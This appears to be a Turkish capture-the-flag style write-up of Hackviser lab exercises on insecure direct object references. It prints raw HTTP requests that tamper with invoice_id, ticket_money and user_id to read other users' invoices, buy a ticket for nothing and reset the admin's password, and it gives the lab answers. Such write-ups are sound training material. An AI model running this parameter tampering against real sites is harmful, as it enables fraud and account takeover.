

IDOR

Yetki denetiminin eksikliđinden kaynaklanan bu zafiyet yetkisiz kiřilerin yetkisi dıřında ulařamayacađı bilgilere ulařabilmesinden kaynaklanıyor.

Güvenlik kontrollerine özen göstermek bu sorunu çözmektedir. Aksi takdirde yetkisi olmayan biri sadece id numarasını deđiřtirerek dahi farklı kullanıcıların bilgilerine erişebilir.

ABC Corporation

INVOICE

1001

Bill To:
John Doe <john.doe@securemail.hv>

Date: Jan 5, 2024

Balance Due: \$2,700.00

Item	Quantity	Rate	Amount
Laptop	2	\$1,200.00	\$2,400.00
Printer	1	\$300.00	\$300.00

Total: \$2,700.00

Notes:
Thank you for choosing our products. We appreciate your business.

EFG Inc.

INVOICE

1003

Bill To:
Emilia Rawne <rawneelia@securemail.hv>

Date: Jan 5, 2024

Balance Due: \$1,550.00

Item	Quantity	Rate	Amount
Consulting Hours	5	\$150.00	\$750.00
Training Session	2	\$400.00	\$800.00

Total: \$1,550.00

Invoice ID: 1002

index.php?invoice_id=1002

Invoice ID: 1002 - Google Arama

ABC Corporation

INVOICE

1001

Bill To:

John Doe <john.doe@securemail.hv>

Date:

Jan 5, 2024

Balance Due:

\$2,700.00

Item	Quantity	Rate	Amount
Laptop	2	\$1,200.00	\$2,400.00
Printer	1	\$300.00	\$300.00
Total:			\$2,700.00

Notes:

Thank you for choosing our products. We appreciate your business.

XYZ Ltd.

INVOICE

1002

Bill To:
Jane Smith <btewnionc@securemail.hv>

Date: Jan 5, 2024

Balance Due: \$4,900.00

Item	Quantity	Rate	Amount
Custom Web Development	1	\$2,500.00	\$2,500.00
Graphic Design Services	3	\$800.00	\$2,400.00
Total:			\$4,900.00

Notes:

Your satisfaction is our priority. Thank you for partnering with us.

Bu laboratuvar, bir ürünün daha düşük bir fiyata satın alınabilmesine neden olan bir Güvensiz Doğrudan Nesne Referansları (IDOR) güvenlik açığı içerir.

Başlangıç bakiyeniz bilet satın almak için yeterli değildir. Laboratuvarı tamamlamak için bilet satın alımı esnasında sunucuya gönderilen fiyatı manipüle ederek bilet satın alın.

Bilet satın alındıktan sonra görünen sipariş numarası nedir?

İkinci görevimiz ise fiyat bilgisini manipüle ederek daha az ya da bedavaya ürün satın almak.

Ticket Sales

Reset

The price of one ticket is **300 \$**
Amount of money in your account: **50 \$**

How many tickets do you want to buy ?

Enter the number of tickets:

Enter the number of tickets

Buy

```
-----,-----  
Te: trailers  
Connection: keep-alive  
amount=4&ticket_money=300
```

Burp ile araya girip ticket_money değerini değiştirmem yeterli.

```
POST / HTTP/1.1
Host: central-shrinking.europel.hackviser.space
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0)
Gecko/20100101 Firefox/131.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: tr-TR,tt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: https://central-shrinking.europel.hackviser.space
Referer: https://central-shrinking.europel.hackviser.space/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: Keep-Alive
amount=1&ticket_money=0
```

Ticket Sales

Reset

The price of one ticket is 300 \$
Amount of money in your account: 50 \$

How many tickets do you want to buy ?

The purchase was successful.

Number of tickets you bought: 1
Money you pay: 0 \$
Order ID: 65274efc95282d0cc

Enter the number of tickets:

Enter the number of tickets

Buy

Bu laboratuvar, diğer kullanıcıların parolasını yetkisiz bir şekilde değiştirmeye yol açan Güvensiz Doğrudan Nesne Referansları (IDOR) güvenlik açığı içerir.

Laboratuvarı tamamlamak için "admin" kullanıcısının parolasını, parola değiştirme uç noktasındaki IDOR zafiyetini istismar ederek değiştirin ve hesabına giriş yapın.

"admin" isimli kullanıcının telefon numarası nedir? (Cevap Formatı: 000-000-0000)

Üçüncü görevimiz ise yine bu zafiyeti sömürerek adminin hesabına giriş yapmak.

Login

Username

Password

Login

Username: test / **Password:** test

Reset

Change Password

[Reset](#)[Logout](#)

Username: **test**

Phone: **227-290-9627**

Change Password

Enter your new password:

[Confirm](#)

```
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
password=test&user_id=2
```

Yukarıyı inceleyecek olursak user_id değerimiz 2 bu değer parolanın değiştirileceği kullanıcının id sini gösteriyor. 1 i değiştirmeyi deneyelim.

```
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
password=test&user_id=1
```

Change Password

[Reset](#)[Logout](#)

Username: **test**

Phone: **227-290-9627**

Change Password

Password change successful!

admin's password has been changed

Enter your new password:

Id' yi 1' e çektiğimde adminin hesabına yeni parolamızı kaydetmiş olduk.

Login

Username

admin

Password

test

test

Login

Username: test / **Password:** test

Reset

Change Password

[Reset](#)[Logout](#)

Username: **admin**

Phone: **876-987-8489**

Change Password

Enter your new password:

Confirm